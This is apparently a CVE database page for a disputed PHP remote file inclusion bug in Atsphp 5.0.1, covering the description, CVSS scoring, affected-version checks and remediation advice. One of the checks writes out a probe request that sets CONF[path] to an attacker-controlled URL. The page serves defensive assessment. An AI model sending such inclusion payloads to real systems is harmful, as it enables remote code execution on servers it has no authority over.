CVE-2007-0831
Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.
NVD · uneditedMultiple PHP remote file inclusion vulnerabilities in Atsphp 5.0.1 allow remote attackers to execute arbitrary PHP code via a URL in the CONF[path] parameter to (1) index.php, (2) sources/usercp.php, or (3) sources/admin.php. NOTE: Another researcher has disputed this vulnerability, noting that CONF[path] is defined before use in index.php, that CONF[path] inclusion cannot occur through a direct request to other affected files, and that usercp.php is a typo of user_cp.php
Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.
dbcve analysis · moderate confidenceRemote file inclusion vulnerability in Atsphp 5.0.1 allows arbitrary PHP code execution via URL-controlled CONF[path] parameter in index.php, sources/usercp.php, and sources/admin.php. However, researcher dispute notes CONF[path] is defined before use in index.php and direct requests to other files cannot trigger inclusion, creating uncertainty about exploitability.
Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.
Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.
NVD · CPE data= 5.0.1CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.
From the vector- Attack vector
- Network
- Complexity
- Low
- Authentication
- None
- Confidentiality
- Partial
- Integrity
- Partial
- Availability
- Partial
AV:N/AC:L/Au:N/C:P/I:P/A:P
Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.
dbcve checksWork through these to decide whether this CVE applies to you.
-
Identify Atsphp versionLocate the version file or header in the Atsphp installation - typically found in a version info file, configuration file, or the main index page sourceAffected if The installed version is Atsphp 5.0.1 exactly
-
Locate affected PHP filesSearch for index.php, sources/usercp.php, and sources/admin.php within the Atsphp web root directoryAffected if These files exist in the application and are directly accessible via web request
-
Examine CONF[path] usageOpen each affected file and search for the CONF[path] variable being used in include/require statements without prior definition - check whether the parameter is defined before any inclusion logic occursAffected if CONF[path] is used in include/require operations and can be influenced by user input before being defined in the code
-
Test parameter accessibilitySend a web request to index.php with a crafted CONF[path] parameter (for example: ?CONF[path]=http://attacker.com/) and observe whether the application attempts to include an external URLAffected if The application accepts and acts upon the CONF[path] parameter from the URL, attempting to include external files
-
Review PHP configurationCheck php.ini for allow_url_fopen=On and allow_url_include=On settings - these control whether PHP can include remote filesAffected if allow_url_fopen or allow_url_include are enabled, allowing remote file inclusion to succeed if the parameter is controllable
A user is affected if running Atsphp 5.0.1 with the affected files accessible and the CONF[path] parameter controllable before being defined in the inclusion logic.
Generated from the published advisory. Verify against your own configuration.
Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.
From vendor dataImplement input validation to ensure CONF[path] cannot be controlled externally, or refactor code to define CONF[path] as a constant before any inclusion logic; disable allow_url_fopen/include in PHP configuration as defense-in-depth.
- Consultation4.0 h
- Implementation8.0 h
- Testing6.0 h
- Review / QA4.0 h
An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $6,176.
Scan for this in your stack
Free · runs locallyCheck whether your project pulls in CVE-2007-0831 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.
References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.
Primary sourcesPractitioner notes
ContributedPeer-ranked notes from engineers who’ve handled CVE-2007-0831 in production — separate from our analysis above.
The advisory tells you what broke. It rarely tells you what actually worked. If you’ve dealt with this one, that detail is what the next engineer is searching for.
- The version that genuinely resolved it — not the one the vendor claimed
- A config change or rule that shut the vector down
- A gotcha in the upgrade path that cost you an afternoon
No notes yet
Be the first to add a field note for this CVE — a mitigation you’ve verified, a version caveat, or a link to a working fix. Sign in above to contribute.
A place for practitioners to share what actually worked: a mitigation you’ve tested, a configuration change, a version- or environment-specific caveat, or a link to a verified patch. The most useful notes rise to the top as peers upvote them, so the signal stays high.
- Verified mitigations, workarounds, and config changes
- Version or environment caveats, and links to real fixes
- No weaponised exploit code, or anything meant to cause harm
- No spam, self-promotion, credentials, or personal data